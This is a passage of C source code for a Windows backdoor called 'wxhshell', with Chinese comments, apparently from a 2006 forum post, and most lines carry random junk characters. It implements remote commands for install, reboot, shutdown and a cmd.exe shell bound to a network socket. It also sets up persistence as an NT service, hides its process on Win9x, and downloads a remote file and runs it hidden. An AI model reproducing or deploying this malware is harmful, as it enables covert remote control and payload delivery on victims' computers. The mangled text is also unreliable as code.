  else { LSW1,}/B  
!i*bb~  
    switch(cmd[0]) { qo62!q  
  <R @w0b>  
  // 帮助 tP]-u3  
  case '?': { gDBdaxR<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V j"B/@  
    break; D}6~2j  
  } n0< I  
  // 安装 `w/`qG:dK  
  case 'i': { ^E`SR6_cmj  
    if(Install()) 5p`.RWls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D+xHTQNTL  
    else C6cEt5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sqP (1|9  
    break; cR"?EQ] `N  
    } xix: = a  
  // 卸载 Zm~oV?6  
  case 'r': { l~i&r?,]^  
    if(Uninstall()) +-+%6O<C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ #1<W`95  
    else gdkQ h_\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `UDB9Ca  
    break;  (zL(  
    } 5 Yf T  
  // 显示 wxhshell 所在路径 f hS4Gb_  
  case 'p': { ^-GzWT  
    char svExeFile[MAX_PATH]; /R% Xkb  
    strcpy(svExeFile,"\n\r"); tj=l!  
      strcat(svExeFile,ExeFile); i $:QOMA  
        send(wsh,svExeFile,strlen(svExeFile),0); YdNmnB %J  
    break; F ;;\I  
    } )S 2GPn7  
  // 重启 B+8B<xZ  
  case 'b': { jX8,y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -"Hy%wE  
    if(Boot(REBOOT)) 7C"&f *lEi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` $N()P  
    else { JXA!l ?%  
    closesocket(wsh); m0zbG1OE  
    ExitThread(0);  8%W(",nd  
    } cgevP`*]  
    break; MmPLJ  
    } 1so9w89  
  // 关机 lZ![?t}2`  
  case 'd': { b6y/o48  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mxQPOu  
    if(Boot(SHUTDOWN)) *8?0vkZZ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcL;7IT  
    else { =2rkaBFC  
    closesocket(wsh); <+\ w.!  
    ExitThread(0); RC>79e/u<  
    } ]> dCt<  
    break; ub,GF?9  
    } -cqR]'u  
  // 获取shell N=[# "4I  
  case 's': { ? f\ ~:Gm/  
    CmdShell(wsh); y6C3u5`  
    closesocket(wsh); O h{ >xg  
    ExitThread(0); n?=d)[]  
    break; Y)oF;ko:  
  } ta'{S=^j  
  // 退出 8pZGu8  
  case 'x': { oFC]L1HN&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D`e6#1DbJ  
    CloseIt(wsh); (m3 <)  
    break; Je1'0h9d  
    } n#Y=y#  
  // 离开 }mx>3G{d  
  case 'q': { z:7 i@m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -cL{9r&X  
    closesocket(wsh); 2#hfBJg@  
    WSACleanup(); (+w>hCI  
    exit(1); kl0|22"Gz  
    break; 9ER!K  
        } V9%!B3Sb  
  } )] C"r_  
  } 2QN ~E  
lI*uF~ 'D  
  // 提示信息 Q%Fa1h:2&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N" =$S|Gs  
} #vs=yR/tn{  
  } J'H}e F`  
alV{| Vf[6  
  return; >o_cf*nx  
} u>y/<9]q8  
FIEA 'kUy  
// shell模块句柄 n=8DC&  
int CmdShell(SOCKET sock) li7"{+ct  
{ Rxfhk,I  
STARTUPINFO si; Mr6q7  
ZeroMemory(&si,sizeof(si)); ucwUeRw,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *<"#1H/q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XKQ\Ts2<k  
PROCESS_INFORMATION ProcessInfo; 4Y `=`{Q  
char cmdline[]="cmd"; W#sCvI@   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'irHpN6n  
  return 0; cf{rK`Ff^  
} WTX!)H6Zv  
yZyB.wT  
// 自身启动模式 tB/'3#o  
int StartFromService(void) t[=teB v<  
{ ^EF VjGM  
typedef struct oa q!<lI  
{ 55K(]%t  
  DWORD ExitStatus; e.l3xwt>$  
  DWORD PebBaseAddress; kBr?Q  
  DWORD AffinityMask; <<~swN  
  DWORD BasePriority; `Dp_c&9]  
  ULONG UniqueProcessId; 'eDV-cB  
  ULONG InheritedFromUniqueProcessId; jk9/EmV*r  
}   PROCESS_BASIC_INFORMATION; =?oYEO7  
2'T uS?  
PROCNTQSIP NtQueryInformationProcess; :vo#(  
OkfnxknZ|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qx2M"uFJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V \Sl->:  
ibL    
  HANDLE             hProcess; aYrbB#  
  PROCESS_BASIC_INFORMATION pbi; fj:q_P67o  
*)xjMTJ%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DC+l3N  
  if(NULL == hInst ) return 0; m>&:)K}m  
w6<zPrA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _4-UM2o;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >^ TcO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `Ti?hQm/  
}+dDGFk  
  if (!NtQueryInformationProcess) return 0; rGUu K0L&  
Gm.2!F=R4A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kS1?%E,)q  
  if(!hProcess) return 0; s MNhD/bb  
&E0L 2gbI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dg'BlrwbR  
4ZCD@C  
  CloseHandle(hProcess); r9y(j z  
mT&?DZ9<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LyNLz m5  
if(hProcess==NULL) return 0; H tAO9  
6O| rI>D  
HMODULE hMod; DtglPo_(  
char procName[255]; R}T\<6Y  
unsigned long cbNeeded; G' 0JK+=o  
j:P(,M[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d$#DXLA\P  
ihBIE  
  CloseHandle(hProcess); %shCqS  
v!6IH  
if(strstr(procName,"services")) return 1; // 以服务启动 ?AYb@&%  
qLa6c2o,  
  return 0; // 注册表启动 ~fY\;  
} ?~=5 x  
A# Ne07d  
// 主模块 z2IKd'Wy  
int StartWxhshell(LPSTR lpCmdLine) Apbgm[m|{  
{ 3F?_{A  
  SOCKET wsl; h42dk(B  
BOOL val=TRUE; rq![a};~  
  int port=0; k<QZ_*x}G  
  struct sockaddr_in door; 9?zi  
fx*Q,}t  
  if(wscfg.ws_autoins) Install(); bTc^ huP  
@r3,|tkrz  
port=atoi(lpCmdLine); Y_,Tm  
;&`6b:ug  
if(port<=0) port=wscfg.ws_port; bBgyLyg  
.Zm de*b  
  WSADATA data; 8T}Dn\f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DSL3+%KF#  
8 Az|SJ<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6ac_AsFK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gVI T6"/  
  door.sin_family = AF_INET; mu$rG3M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m_h$fT8 _  
  door.sin_port = htons(port); t`pbEjE0K  
_|wnmeL*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &x)nK  
closesocket(wsl); :uB(PeAv*  
return 1; 9=.7[-6i9  
} sGO+O$J  
F!zGk(Pu  
  if(listen(wsl,2) == INVALID_SOCKET) { ;!,I1{`  
closesocket(wsl); [ @9a  
return 1; z C 7b  
} zvR;Tl6]  
  Wxhshell(wsl); .s\_H,  
  WSACleanup(); B_S))3   
Mw|lEctN0  
return 0; E'^ny4gL  
0y3C />a  
} d"OYq  
_V(FHjY  
// 以NT服务方式启动 <z8z\4Hz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2?kVbF  
{ )0zg1z  
DWORD   status = 0; +Ou<-EQV  
  DWORD   specificError = 0xfffffff;  TUq ,  
}fL ]}&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uTNy{RBD+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; : `,#z?Rk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ";TqYk=-  
  serviceStatus.dwWin32ExitCode     = 0; j+[oZfH  
  serviceStatus.dwServiceSpecificExitCode = 0; !*PX -  
  serviceStatus.dwCheckPoint       = 0; 6\USeZh  
  serviceStatus.dwWaitHint       = 0; TGuCIc0B{  
pER[^LH_)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?;GXFKy  
  if (hServiceStatusHandle==0) return; &'u%|A@  
R0e!b+MZ.  
status = GetLastError(); lcXo>  
  if (status!=NO_ERROR) j-zWckT{  
{ 8i Ew;I_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r=#v@]z B  
    serviceStatus.dwCheckPoint       = 0; \jr-^n]  
    serviceStatus.dwWaitHint       = 0; 3`Dyrj#!  
    serviceStatus.dwWin32ExitCode     = status; Y mm*p,`  
    serviceStatus.dwServiceSpecificExitCode = specificError; GW2v&Ul7(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]CX^!n  
    return; d?><+!a  
  } 0%qM`KZC  
{BZ0x2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \zzPsnFIg  
  serviceStatus.dwCheckPoint       = 0; 'y7<!uo?  
  serviceStatus.dwWaitHint       = 0; ]W7&ZpF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mo\nY5  
} y1#QP3'Z1  
wrVR[v>E<  
// 处理NT服务事件,比如:启动、停止 lHO.pN`2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $x2G/5?  
{ }] . |7h  
switch(fdwControl) u?KG%  
{ LG'1^W{a  
case SERVICE_CONTROL_STOP: R^rA.7T  
  serviceStatus.dwWin32ExitCode = 0; |T{ZDJ+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W3&~[DS@~  
  serviceStatus.dwCheckPoint   = 0; rLcXo %w  
  serviceStatus.dwWaitHint     = 0; |UN#utw{^Y  
  { 4|NcWpaV7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Me(qpsq  
  } yn04[PN2  
  return; cBU@853  
case SERVICE_CONTROL_PAUSE: F8B:P7I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hr/J6kyB)  
  break; r6 L  
case SERVICE_CONTROL_CONTINUE: .&/A!3pW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kS_3 7-;  
  break; <9`/Y"\p  
case SERVICE_CONTROL_INTERROGATE: q[+V6n `Z5  
  break; M \>5",0  
}; o+?Ko=vYw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kLbo |p"cT  
} C12y_E8Un  
kaVYe)~  
// 标准应用程序主函数 tfjbG;R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6H:EBj54?  
{ [bd?$q i  
>u=nGeO  
// 获取操作系统版本 0!`!I0  
OsIsNt=GetOsVer(); g")pvK[e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); / !A&z4;D  
e3kdIOu5  
  // 从命令行安装 yj9 Ad*.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 62#8c~ dL  
u!cA_,  
  // 下载执行文件 zxvowM  
if(wscfg.ws_downexe) { zuvP\Y=V`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @m"P_1`*  
  WinExec(wscfg.ws_filenam,SW_HIDE); K|.!)L  
} VB{G% !}  
RQ[6svfP  
if(!OsIsNt) { 9wv 7 HD|  
// 如果时win9x,隐藏进程并且设置为注册表启动 3<HPZWc  
HideProc(); H/Ov8|  
StartWxhshell(lpCmdLine); eh$T 3_#q  
} +IfU 5&5<  
else mKBPIQ+ZS  
  if(StartFromService())  [T#9#3  
  // 以服务方式启动 r$-]NYPi  
  StartServiceCtrlDispatcher(DispatchTable); (+0yZ7AZ  
else sxQMfbN  
  // 普通方式启动 5K?%Eo72!=  
  StartWxhshell(lpCmdLine); M \3Zj(E/  
]}dAm S/  
return 0; 6w^Fee`>]  
}
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只看该作者 1 发表于: 2006-10-10
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